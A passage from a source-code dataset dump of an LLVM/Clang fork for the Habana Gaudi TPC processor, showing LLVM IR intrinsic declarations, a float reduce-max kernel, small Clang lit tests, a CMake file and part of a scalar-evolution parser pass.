@llvm.tpc.get.index.space.offset() #1\n\ndeclare <5 x i32> @llvm.tpc.get.index.space.size() #1\n\ndeclare <5 x i32> @llvm.tpc.set.indx(<5 x i32>, i32, i32, i32, i1, i1) #1\n\ndeclare <5 x i32> @llvm.tpc.add.mask.v5i32.v5i32(<5 x i32>, <5 x i32>, i32, i8, i32, <5 x i32>, i1, i1) #1\n\ndeclare <128 x bfloat16> @llvm.tpc.ld.tnsr.v128bf16.i1(<5 x i32>, i8, i32, <128 x bfloat16>, i1, i1) #1\n\ndeclare <128 x bfloat16> @llvm.tpc.mac.v128bf16.v128bf16.i1(<128 x bfloat16>, <128 x bfloat16>, i8, i32, <128 x bfloat16>, i1, i1) #1\n\ndeclare void @llvm.tpc.st.tnsr.v128bf16(<5 x i32>, i8, <128 x bfloat16>, i32, i1, i1) #2\n\ndeclare i32 @llvm.tpc.ld.l.i32(i32, i32, i32, i1, i1) #3\n\ndeclare <64 x i32> @llvm.read_register.v64i32(metadata) #3\n\ndeclare <128 x float> @llvm.tpc.lookup.2c.v128f32.v64i32(<64 x i32>, i32, i32, <128 x float>, i1, i1) #1\n\ndeclare <128 x bfloat16> @llvm.tpc.mov.dual.group.all.v128bf16.i1(<128 x bfloat16>, i32, i32, <128 x bfloat16>, i1, i1) #1\n\ndeclare <128 x bfloat16> @llvm.tpc.mov.group.v128bf16.v128bf16.i1(<128 x bfloat16>, i32, i32, <128 x bfloat16>, i1, i1) #1\n\ndeclare <128 x bfloat16> @llvm.tpc.shuffle.v128bf16.i1(<128 x bfloat16>, <256 x i8>, i8, i32, <128 x bfloat16>, i1, i1) #1\n\ndeclare <128 x i16> @llvm.tpc.extract.exp.v128i16.v128bf16.i1(<128 x bfloat16>, i8, i32, <128 x i16>, i1, i1) #1\n\ndeclare <128 x i16> @llvm.tpc.and.v128i16.v128i16.i16.i1(<128 x i16>, i16, i8, i32, <128 x i16>, i1, i1) #1\n\ndeclare <128 x i16> @llvm.tpc.shr.v128i16.i16.i1(<128 x i16>, i16, i8, i32, <128 x i16>, i1, i1) #1\n\ndeclare <128 x bfloat16> @llvm.tpc.form.fp.num.v128bf16.v128bf16.i1(<128 x bfloat16>, <128 x bfloat16>, <128 x bfloat16>, i8, i32, <128 x bfloat16>, i1, i1) #1\n\ndeclare <256 x i16> @llvm.tpc.get.lut.entry.v256i16.v128bf16.i1(<128 x bfloat16>, i8, i8, i32, <256 x i16>, i1, i1) #1\n\ndeclare <256 x bfloat16> @llvm.tpc.lookup.2c.v256bf16.v128i16(<128 x i16>, i32, i32, <256 x bfloat16>, i1, i1) #1\n\ndeclare <128 x bfloat16> @llvm.tpc.fclass.v128bf16.i1(<128 x bfloat16>, i8, i32, <128 x bfloat16>, i1, i1) #1\n\ndeclare <128 x bfloat16> @llvm.tpc.calc.fp.special.v128bf16.i1(<128 x bfloat16>, <128 x bfloat16>, i8, i32, <128 x bfloat16>, i1, i1) #1\n\n!llvm.named.register.v_lane_id_32 = !{!0}\n\n!0 = !{!\"v_lane_id_32\"}\n\nattributes #0 = { nounwind \"correctly-rounded-divide-sqrt-fp-math\"=\"false\" \"disable-tail-calls\"=\"false\" \"frame-pointer\"=\"all\" \"less-precise-fpmad\"=\"false\" \"min-legal-vector-width\"=\"2048\" \"no-infs-fp-math\"=\"false\" \"no-jump-tables\"=\"false\" \"no-nans-fp-math\"=\"false\" \"no-signed-zeros-fp-math\"=\"false\" \"no-trapping-math\"=\"false\" \"stack-protector-buffer-size\"=\"8\" \"target-cpu\"=\"gaudi\" \"target-features\"=\"+gaudi\" \"unsafe-fp-math\"=\"false\" \"use-soft-float\"=\"false\" }\nattributes #1 = { argmemonly nounwind willreturn }\nattributes #2 = { alwaysinline nounwind \"correctly-rounded-divide-sqrt-fp-math\"=\"false\" \"disable-tail-calls\"=\"false\" \"frame-pointer\"=\"all\" \"less-precise-fpmad\"=\"false\" \"min-legal-vector-width\"=\"0\" \"no-infs-fp-math\"=\"false\" \"no-jump-tables\"=\"false\" \"no-nans-fp-math\"=\"false\" \"no-signed-zeros-fp-math\"=\"false\" \"no-trapping-math\"=\"false\" \"stack-protector-buffer-size\"=\"8\" \"target-cpu\"=\"gaudi\" \"target-features\"=\"+gaudi\" \"unsafe-fp-math\"=\"false\" \"use-soft-float\"=\"false\" }\nattributes #3 = { nounwind readnone }\nattributes #4 = { nounwind writeonly }\nattributes #5 = { alwaysinline nounwind \"correctly-rounded-divide-sqrt-fp-math\"=\"false\" \"disable-tail-calls\"=\"false\" \"frame-pointer\"=\"all\" \"less-precise-fpmad\"=\"false\" \"min-legal-vector-width\"=\"2048\" \"no-infs-fp-math\"=\"false\" \"no-jump-tables\"=\"false\" \"no-nans-fp-math\"=\"false\" \"no-signed-zeros-fp-math\"=\"false\" \"no-trapping-math\"=\"false\" \"stack-protector-buffer-size\"=\"8\" \"target-cpu\"=\"gaudi\" \"target-features\"=\"+gaudi\" \"unsafe-fp-math\"=\"false\" \"use-soft-float\"=\"false\" }\nattributes #6 = { nounwind }\nattributes #7 = { nounwind readonly }\nattributes #8 = { nounwind }\n)\";\n" }, { "alpha_fraction": 0.44290974736213684, "alphanum_fraction": 0.6421501040458679, "avg_line_length": 79.44444274902344, "blob_id": "24e3d7feb3e84603a62e49aa9bec86d781e9e033", "content_id": "2796aa96a54f4c23a55a4f00653617e6ce663892", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 8688, "license_type": "permissive", "max_line_length": 611, "num_lines": 108, "path": "/llvm/include/llvm/Transforms/IPO/TPCHeaders/Gaudi/ReduceMaxF32.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--------ReduceMaxF32.h-----------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\nconst llvm::StringRef GaudiReduceMaxF32LL = R\"(\n; Function Attrs: alwaysinline nounwind\ndefine dso_local <64 x float> @v_f32_reduce_max(<64 x float> %x) local_unnamed_addr #5 {\nentry:\n %0 = call <64 x i32> @llvm.read_register.v64i32(metadata !0)\n %1 = call <64 x float> @llvm.tpc.lookup.1c.v64f32.v64i32(<64 x i32> %0, i32 282, i32 0, <64 x float> undef, i1 true, i1 false)\n %2 = call <128 x float> @llvm.tpc.lookup.2c.v128f32.v64i32(<64 x i32> %0, i32 282, i32 0, <128 x float> undef, i1 true, i1 false)\n %3 = shufflevector <128 x float> %2, <128 x float> undef, <64 x i32> <i32 0, i32 1, i32 2, i32 3, i32 4, i32 5, i32 6, i32 7, i32 8, i32 9, i32 10, i32 11, i32 12, i32 13, i32 14, i32 15, i32 16, i32 17, i32 18, i32 19, i32 20, i32 21, i32 22, i32 23, i32 24, i32 25, i32 26, i32 27, i32 28, i32 29, i32 30, i32 31, i32 32, i32 33, i32 34, i32 35, i32 36, i32 37, i32 38, i32 39, i32 40, i32 41, i32 42, i32 43, i32 44, i32 45, i32 46, i32 47, i32 48, i32 49, i32 50, i32 51, i32 52, i32 53, i32 54, i32 55, i32 56, i32 57, i32 58, i32 59, i32 60, i32 61, i32 62, i32 63>\n %4 = shufflevector <128 x float> %2, <128 x float> undef, <64 x i32> <i32 64, i32 65, i32 66, i32 67, i32 68, i32 69, i32 70, i32 71, i32 72, i32 73, i32 74, i32 75, i32 76, i32 77, i32 78, i32 79, i32 80, i32 81, i32 82, i32 83, i32 84, i32 85, i32 86, i32 87, i32 88, i32 89, i32 90, i32 91, i32 92, i32 93, i32 94, i32 95, i32 96, i32 97, i32 98, i32 99, i32 100, i32 101, i32 102, i32 103, i32 104, i32 105, i32 106, i32 107, i32 108, i32 109, i32 110, i32 111, i32 112, i32 113, i32 114, i32 115, i32 116, i32 117, i32 118, i32 119, i32 120, i32 121, i32 122, i32 123, i32 124, i32 125, i32 126, i32 127>\n %5 = bitcast <64 x float> %1 to <256 x i8>\n %6 = bitcast <64 x float> %3 to <256 x i8>\n %7 = bitcast <64 x float> %4 to <256 x i8>\n %8 = call <64 x float> @llvm.tpc.mov.dual.group.all.v64f32.i1(<64 x float> %x, i32 -1, i32 16756992, <64 x float> zeroinitializer, i1 true, i1 false)\n %9 = call <64 x float> @llvm.maxnum.v64f32(<64 x float> %x, <64 x float> %8)\n %10 = call <64 x float> @llvm.tpc.mov.dual.group.all.v64f32.i1(<64 x float> %9, i32 -1, i32 16731648, <64 x float> %8, i1 true, i1 false)\n %11 = call <64 x float> @llvm.maxnum.v64f32(<64 x float> %9, <64 x float> %10)\n %12 = call <64 x float> @llvm.tpc.mov.group.v64f32.v64f32.i1(<64 x float> %11, i32 -1, i32 63, <64 x float> %10, i1 true, i1 false)\n %13 = call <64 x float> @llvm.maxnum.v64f32(<64 x float> %11, <64 x float> %12)\n %14 = call <64 x float> @llvm.tpc.shuffle.v64f32.i1(<64 x float> %13, <256 x i8> %5, i8 0, i32 0, <64 x float> %12, i1 true, i1 false)\n %15 = call <64 x float> @llvm.maxnum.v64f32(<64 x float> %13, <64 x float> %14)\n %16 = call <64 x float> @llvm.tpc.shuffle.v64f32.i1(<64 x float> %15, <256 x i8> %6, i8 0, i32 0, <64 x float> %14, i1 true, i1 false)\n %17 = call <64 x float> @llvm.maxnum.v64f32(<64 x float> %15, <64 x float> %16)\n %18 = call <64 x float> @llvm.tpc.shuffle.v64f32.i1(<64 x float> %17, <256 x i8> %7, i8 0, i32 0, <64 x float> %16, i1 true, i1 false)\n %19 = call <64 x float> @llvm.maxnum.v64f32(<64 x float> %17, <64 x float> %18)\n ret <64 x float> %19\n}\n\n@__const.log_fast_f32.coeffs = private unnamed_addr constant [9 x float] [float 0x3FB2043760000000, float 0xBFBD7A3700000000, float 0x3FBDE4A340000000, float 0xBFBFCBA9E0000000, float 0x3FC23D37E0000000, float 0xBFC555CA00000000, float 0x3FC999D580000000, float 0xBFCFFFFF80000000, float 0x3FD5555540000000], align 4\n\ndeclare <5 x i32> @llvm.tpc.get.index.space.size() #1\n\ndeclare <64 x float> @llvm.tpc.ld.tnsr.v64f32.i1(<5 x i32>, i8, i32, <64 x float>, i1, i1) #1\n\ndeclare <5 x i32> @llvm.tpc.add.mask.v5i32.v5i32(<5 x i32>, <5 x i32>, i32, i8, i32, <5 x i32>, i1, i1) #1\n\ndeclare <64 x i32> @llvm.read_register.v64i32(metadata) #2\n\ndeclare <256 x i1> @llvm.tpc.cmp.geq.v256i1.v64i32.i32.i1(<64 x i32>, i32, i8, i32, <256 x i1>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.max.v64f32.v64f32.v64f32.v256i1(<64 x float>, <64 x float>, i8, i32, <64 x float>, <256 x i1>, i1) #1\n\ndeclare <64 x float> @llvm.tpc.add.v64f32.v64f32.v64f32.v256i1(<64 x float>, <64 x float>, i8, i32, <64 x float>, <256 x i1>, i1) #1\n\ndeclare void @llvm.tpc.st.tnsr.v64f32(<5 x i32>, i8, <64 x float>, i32, i1, i1) #3\n\ndeclare i32 @llvm.tpc.ld.l.i32(i32, i32, i32, i1, i1) #2\n\ndeclare <64 x float> @llvm.tpc.lookup.1c.v64f32.v64i32(<64 x i32>, i32, i32, <64 x float>, i1, i1) #1\n\ndeclare <128 x float> @llvm.tpc.lookup.2c.v128f32.v64i32(<64 x i32>, i32, i32, <128 x float>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.mov.dual.group.all.v64f32.i1(<64 x float>, i32, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.mov.group.v64f32.v64f32.i1(<64 x float>, i32, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.shuffle.v64f32.i1(<64 x float>, <256 x i8>, i8, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.sel.leq.v64f32.v64f32.v64f32.v64f32.v64f32.i1(<64 x float>, <64 x float>, <64 x float>, <64 x float>, i8, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.sel.geq.v64f32.v64f32.v64f32.v64f32.v64f32.i1(<64 x float>, <64 x float>, <64 x float>, <64 x float>, i8, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.sel.grt.v64f32.v64i32.i32.v64f32.v64f32.i1(<64 x i32>, i32, <64 x float>, <64 x float>, i8, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.mac.v64f32.v64f32.i1(<64 x float>, <64 x float>, i8, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.nearbyint.v64f32.v64f32.i1(<64 x float>, i8, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x i32> @llvm.tpc.convert.v64i32.v64f32.i1(<64 x float>, i8, i32, <64 x i32>, i1, i1) #1\n\ndeclare <64 x i32> @llvm.tpc.shl.v64i32.i32.i1(<64 x i32>, i32, i8, i32, <64 x i32>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.fclass.v64f32.i1(<64 x float>, i8, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.calc.fp.special.v64f32.i1(<64 x float>, <64 x float>, i8, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x i32> @llvm.tpc.extract.exp.v64i32.v64f32.i1(<64 x float>, i8, i32, <64 x i32>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.form.fp.num.v64f32.v256i8.i1(<256 x i8>, <64 x float>, <64 x float>, i8, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x float> @llvm.tpc.convert.v64f32.v64i32.i1(<64 x i32>, i8, i32, <64 x float>, i1, i1) #1\n\ndeclare <64 x i32> @llvm.tpc.shr.v64i32.i32.i1(<64 x i32>, i32, i8, i32, <64 x i32>, i1, i1) #1\n\ndeclare <64 x float> @llvm.maxnum.v64f32(<64 x float>, <64 x float>) #4\n\n!llvm.named.register.v_lane_id_32 = !{!0}\n\n!0 = !{!\"v_lane_id_32\"}\n\nattributes #0 = { nounwind \"correctly-rounded-divide-sqrt-fp-math\"=\"false\" \"disable-tail-calls\"=\"false\" \"frame-pointer\"=\"all\" \"less-precise-fpmad\"=\"false\" \"min-legal-vector-width\"=\"2048\" \"no-infs-fp-math\"=\"false\" \"no-jump-tables\"=\"false\" \"no-nans-fp-math\"=\"false\" \"no-signed-zeros-fp-math\"=\"false\" \"no-trapping-math\"=\"false\" \"stack-protector-buffer-size\"=\"8\" \"target-cpu\"=\"gaudi\" \"target-features\"=\"+gaudi\" \"unsafe-fp-math\"=\"false\" \"use-soft-float\"=\"false\" }\nattributes #1 = { argmemonly nounwind willreturn }\nattributes #2 = { nounwind readnone }\nattributes #3 = { alwaysinline nounwind \"correctly-rounded-divide-sqrt-fp-math\"=\"false\" \"disable-tail-calls\"=\"false\" \"frame-pointer\"=\"all\" \"less-precise-fpmad\"=\"false\" \"min-legal-vector-width\"=\"0\" \"no-infs-fp-math\"=\"false\" \"no-jump-tables\"=\"false\" \"no-nans-fp-math\"=\"false\" \"no-signed-zeros-fp-math\"=\"false\" \"no-trapping-math\"=\"false\" \"stack-protector-buffer-size\"=\"8\" \"target-cpu\"=\"gaudi\" \"target-features\"=\"+gaudi\" \"unsafe-fp-math\"=\"false\" \"use-soft-float\"=\"false\" }\nattributes #4 = { nounwind readonly }\nattributes #5 = { alwaysinline nounwind \"correctly-rounded-divide-sqrt-fp-math\"=\"false\" \"disable-tail-calls\"=\"false\" \"frame-pointer\"=\"all\" \"less-precise-fpmad\"=\"false\" \"min-legal-vector-width\"=\"2048\" \"no-infs-fp-math\"=\"false\" \"no-jump-tables\"=\"false\" \"no-nans-fp-math\"=\"false\" \"no-signed-zeros-fp-math\"=\"false\" \"no-trapping-math\"=\"false\" \"stack-protector-buffer-size\"=\"8\" \"target-cpu\"=\"gaudi\" \"target-features\"=\"+gaudi\" \"unsafe-fp-math\"=\"false\" \"use-soft-float\"=\"false\" }\nattributes #6 = { nounwind writeonly }\nattributes #7 = { nounwind readnone willreturn }\nattributes #8 = { nounwind }\n)\";\n" }, { "alpha_fraction": 0.664425790309906, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 35.42856979370117, "blob_id": "ac19ccd8689c6141938023d83f8bab48659f111b", "content_id": "37500103adbb919348f36a009afbe1ce53ded652", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1785, "license_type": "permissive", "max_line_length": 98, "num_lines": 49, "path": "/clang/lib/Frontend/EmbeddedTpcHeaders.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===--- EmbeddedTpcHeaders.cpp -------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file contains content of embedded headers.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"clang/Frontend/CompilerInvocation.h\"\n#include \"llvm/ADT/STLExtras.h\"\n#include <memory>\nusing namespace clang;\nusing namespace llvm;\n\nstatic const char ContentOf_tpcdefs[] = {\n#include \"tpc-defs.h.inc\"\n};\n\nstatic MemoryBuffer *BufferOf_tpc_defs\n = MemoryBuffer::getMemBuffer(ContentOf_tpcdefs, \"tpc-defs.h\").release();\n\nstatic const char ContentOf_reduction[] = {\n#include \"tpc-reduction_functions_core.h.inc\"\n};\n\nstatic MemoryBuffer *BufferOf_reduction\n = MemoryBuffer::getMemBuffer(ContentOf_reduction, \"tpc-reduction_functions_core.h\").release();\n\nstatic const char ContentOf_tpc_special[] = {\n#include \"tpc-special.h.inc\"\n};\n\nstatic MemoryBuffer *BufferOf_tpc_special\n = MemoryBuffer::getMemBuffer(ContentOf_tpc_special, \"tpc-special.h\").release();\n\nstatic const CompilerInvocation::EmbeddedFile EmbeddedFiles[] = {\n CompilerInvocation::EmbeddedFile { \"tpc-defs.h\", BufferOf_tpc_defs },\n CompilerInvocation::EmbeddedFile { \"tpc-reduction_functions_core.h\", BufferOf_reduction },\n CompilerInvocation::EmbeddedFile { \"tpc-special.h\", BufferOf_tpc_special }\n};\n\nArrayRef<CompilerInvocation::EmbeddedFile> CompilerInvocation::getEmbeddedFiles() {\n return ArrayRef<CompilerInvocation::EmbeddedFile>(\n EmbeddedFiles, array_lengthof(EmbeddedFiles));\n}\n" }, { "alpha_fraction": 0.5201342105865479, "alphanum_fraction": 0.5704697966575623, "avg_line_length": 18.866666793823242, "blob_id": "b356e556b00ba3451fd887cfba564a6b03473fb9", "content_id": "1726b8686b79c382e21392f239aadd8a2f13fa27", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 298, "license_type": "permissive", "max_line_length": 68, "num_lines": 15, "path": "/clang/test/Preprocessor/tpc_version_macro.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang -c -target tpc -E %s | FileCheck -check-prefix TPC %s\nvoid main(){\n // TPC:int a = 5;\n // TPC:int b = 5;\n #if (VERSION2DEC(0,1,9) > __HABANA_TOOL_VERSION)\n\tint a = 1;\n #else\n\tint a = 5;\n #endif\n #if (VERSION2DEC(14,0,0) > __TPC_DROP_VERSION)\n\tint b = 1;\n #else\n\tint b = 5;\n #endif\n}\n" }, { "alpha_fraction": 0.5338582396507263, "alphanum_fraction": 0.5874015688896179, "avg_line_length": 36.35293960571289, "blob_id": "3e09268a6a233c8de6386fa5f2ff7ea3e20cb34c", "content_id": "358619b6d6661a3a5c2f671e9aaf8904f3c3a25c", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 635, "license_type": "permissive", "max_line_length": 78, "num_lines": 17, "path": "/clang/test/RC99/IntrinsicsM/s_u16_udiv_step_s-01.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n\nvoid main(int dest, unsigned short dividend, unsigned short divisor) {\n uint16_t_pair_t __local *dptr = (uint16_t_pair_t __local *) dest;\n uint16_t_pair_t quot_rem = { dividend, 0 };\n quot_rem = s_u16_udiv_step_s(quot_rem, divisor, 1);\n *dptr = quot_rem;\n}\n\n// move 'dividend' to a register pair, clear remainder\n// CHECK-DAG: and.i32 %S[[ZN:[0-9]+]], %S1, 0xffff\n// CHECK-DAG: mov.i32 %S[[ZNN:[0-9]+]], 0x0\n\n// CHECK: udiv_step.u16 0x1 %Z[[ZN]], %S2, %SP0\n\n// CHECK-DAG: st_l %S0, %S[[ZN]]\n// CHECK-DAG: st_l %S{{[0-9]+}}, %S[[ZNN]]\n" }, { "alpha_fraction": 0.6720647811889648, "alphanum_fraction": 0.6842105388641357, "avg_line_length": 48.20000076293945, "blob_id": "0d734d3e855e6be1ce2441cb616d215c33ca8ce7", "content_id": "3b6a1214cb3ac03c98962e5b15740e9507a32e30", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 247, "license_type": "permissive", "max_line_length": 99, "num_lines": 5, "path": "/clang/test/RC99/regression/pragma_printf-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -triple tpc-none-none -verify %s\nvoid main(int arg_int) {\n#pragma tpc_printf enable) // expected-warning{{missing '(' after '#pragma tpc_printf' - ignoring}}\n printf_i(\"value is integer\\n\", arg_int);\n}\n\n" }, { "alpha_fraction": 0.4888888895511627, "alphanum_fraction": 0.5666666626930237, "avg_line_length": 13.833333015441895, "blob_id": "c005ebed815280b87cd375d14e9ac13eac030e03", "content_id": "267aba76a214baa85c5a7eddeeba4e06d546433b", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 90, "license_type": "permissive", "max_line_length": 42, "num_lines": 6, "path": "/clang/test/RC99/bfloat16/bf16_cpu-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %tpc_clang -march=gaudi -c -o - %s\n\n_BFloat16 BF16_zero_01 = 0;\n\nvoid main() {\n}\n\n" }, { "alpha_fraction": 0.514018714427948, "alphanum_fraction": 0.5467289686203003, "avg_line_length": 22.77777862548828, "blob_id": "ba343a1120d9f1acf3963686db6aac58043fa4fd", "content_id": "4285bab94bbb252b01d01ae4c1b1bf135e5132d7", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 214, "license_type": "permissive", "max_line_length": 57, "num_lines": 9, "path": "/clang/test/RC99/utils/gen_err-03.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: not %intr-gen %s 2>&1 | FileCheck %s\n\n#if defined(__qqq__)\nint func_01(int x);\n#endif\n\n// CHECK: line 3 column 14 error: Unknown define: __qqq__\n// CHECK: > #if defined(__qqq__)\n// CHECK: ^\n" }, { "alpha_fraction": 0.874015748500824, "alphanum_fraction": 0.874015748500824, "avg_line_length": 30.75, "blob_id": "5d35a37c86871357438a80ffeaec0449e617145f", "content_id": "0087c37f428ca396f6468c811f91549f9f72fc3e", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 127, "license_type": "permissive", "max_line_length": 55, "num_lines": 4, "path": "/llvm/lib/Target/TPC/Disassembler/CMakeLists.txt", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "add_llvm_component_library(LLVMTPCDisassembler\n TPCDisassembler.cpp\n)\nadd_dependencies(LLVMTPCDisassembler TPCCommonTableGen)\n" }, { "alpha_fraction": 0.55433189868927, "alphanum_fraction": 0.5616450309753418, "avg_line_length": 38.80479431152344, "blob_id": "598608801c76747981a97ceca4a8d42e602ffbe4", "content_id": "c50583b1eb048f794818d76d41bde281452d4bf9", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 11623, "license_type": "permissive", "max_line_length": 89, "num_lines": 292, "path": "/llvm/lib/Target/TPC/SCEVParser.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- SCEVParser.cpp ----------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n#include \"SCEVParser.h\"\n\nvoid SCEVParser::searchForValue(const SCEV *s, vector<Instruction *> &InsVecUpdate) {\n if (auto ptr = dyn_cast<SCEVNAryExpr>(s)) {\n for (unsigned i = 0; i < ptr->getNumOperands(); i++) {\n searchForValue(ptr->getOperand(i), InsVecUpdate);\n }\n } else if (auto ptr = dyn_cast<SCEVUnknown>(s)) {\n if (Value *stepValue = m_SCE.visit(ptr))\n if (Instruction *ins = dyn_cast<Instruction>(stepValue))\n InsVecUpdate.push_back(ins);\n }\n}\n\nconst SCEV *SCEVParser::findCoefficient(const SCEV *Expr,\n const Loop *TargetLoop) {\n const SCEVAddRecExpr *AddRec = dyn_cast<SCEVAddRecExpr>(Expr);\n if (!AddRec)\n return p_SEL->getZero(Expr->getType());\n if (AddRec->getLoop() == TargetLoop)\n return AddRec->getStepRecurrence(*p_SEL);\n return findCoefficient(AddRec->getStart(), TargetLoop);\n}\n\nvoid SCEVParser::computeStride() {\n if (const SCEVAddRecExpr *AddRec = dyn_cast<SCEVAddRecExpr>(p_SCEVP)) {\n // Compute the step inducation\n const SCEV *StepRec = AddRec->getStepRecurrence(*p_SEL);\n if (StepRec->getSCEVType() == SCEVTypes::scConstant && AddRec->isAffine()) {\n m_StepInducation = p_SEL->getUnsignedRangeMax(StepRec).getZExtValue();\n const SCEV *scev1 = AddRec->getStart();\n searchForValue(scev1, m_InsVec);\n }\n } else {\n m_StepInducation = 0;\n }\n}\n\nvoid SCEVParser::computerStepInstruction(const SCEV *scev) {\n if (const SCEVAddRecExpr *AddRec = dyn_cast<SCEVAddRecExpr>(scev)) {\n const SCEV *ptr = AddRec->getStepRecurrence(*p_SEL);\n if (const SCEVSignExtendExpr *ptr2 = dyn_cast<SCEVSignExtendExpr>(ptr))\n ptr = ptr2->getOperand();\n m_stepValue.push_back(std::make_pair(AddRec->getLoop(), m_SCE.visit(ptr)));\n computerStepInstruction(AddRec->getStart());\n }\n}\n\nconst SCEV *SCEVParser::treeRunner(const SCEV *s) {\n const SCEV *LH;\n const SCEV *RH;\n const SCEV *Result = NULL;\n if (const SCEVAddExpr *ptr = dyn_cast<SCEVAddExpr>(s)) {\n LH = treeRunner(ptr->getOperand(0));\n RH = treeRunner(ptr->getOperand(1));\n return p_SEL->getAddExpr(LH, RH);\n }\n if (const SCEVMulExpr *ptr = dyn_cast<SCEVMulExpr>(s)) {\n LH = treeRunner(ptr->getOperand(0));\n RH = treeRunner(ptr->getOperand(1));\n return p_SEL->getMulExpr(LH, RH);\n }\n if (const SCEVUDivExpr *ptr = dyn_cast<SCEVUDivExpr>(s)) {\n LH = treeRunner(ptr->getLHS());\n RH = treeRunner(ptr->getRHS());\n return p_SEL->getUDivExpr(LH, RH);\n }\n if (const SCEVZeroExtendExpr *ptr = dyn_cast<SCEVZeroExtendExpr>(s)) {\n return p_SEL->getZeroExtendExpr(treeRunner(ptr->getOperand()), ptr->getType());\n }\n if (const SCEVTruncateExpr *ptr = dyn_cast<SCEVTruncateExpr>(s)) {\n return p_SEL->getTruncateExpr(treeRunner(ptr->getOperand()), ptr->getType());\n }\n if (const SCEVCommutativeExpr *ptr = dyn_cast<SCEVCommutativeExpr>(s)) {\n LH = treeRunner(ptr->getOperand(0));\n RH = treeRunner(ptr->getOperand(1));\n if (isa<SCEVSMaxExpr>(ptr))\n return p_SEL->getSMaxExpr(LH, RH);\n if (isa<SCEVUMaxExpr>(ptr))\n return p_SEL->getUMaxExpr(LH, RH);\n }\n if (const SCEVConstant *ptr = dyn_cast<SCEVConstant>(s))\n return ptr;\n if (const SCEVSignExtendExpr *ptr = dyn_cast<SCEVSignExtendExpr>(s)) {\n // todo support ungisng support\n dbgs() << \"Sign/ungsined doesn't supportd by the anylsis\\n\";\n return ptr;\n }\n if (const SCEVUnknown *ptr = dyn_cast<SCEVUnknown>(s)) {\n if (Instruction *ins = dyn_cast<Instruction>(m_SCE.visit(ptr))) {\n\n if (m_InsVec2.size() > 1 && ins == m_InsVec2[m_InsVec2.size() - 1])\n return p_SEL->getZero(Type::getInt32Ty(ins->getContext()));\n else\n return ptr;\n } else\n return p_SEL->getZero(s->getType());\n }\n if (!Result)\n errs() << \"empty\";\n return Result;\n}\n\nconst SCEV *SCEVParser::computeInit(const SCEV *scev) {\n while (const SCEVAddRecExpr *temp = dyn_cast<SCEVAddRecExpr>(scev))\n scev = temp->getStart();\n return treeRunner(scev);\n}\n\ntemplate<typename T, unsigned N>\nstatic SmallVector<T *, N> get_list_of(BasicBlock *const *BB) {\n // Retrun a vector of all element correspond to type <T>\n // indise the basicblock <BB>.\n SmallVector<T *, N> list;\n for (BasicBlock::iterator II = (*BB)->begin(); II != 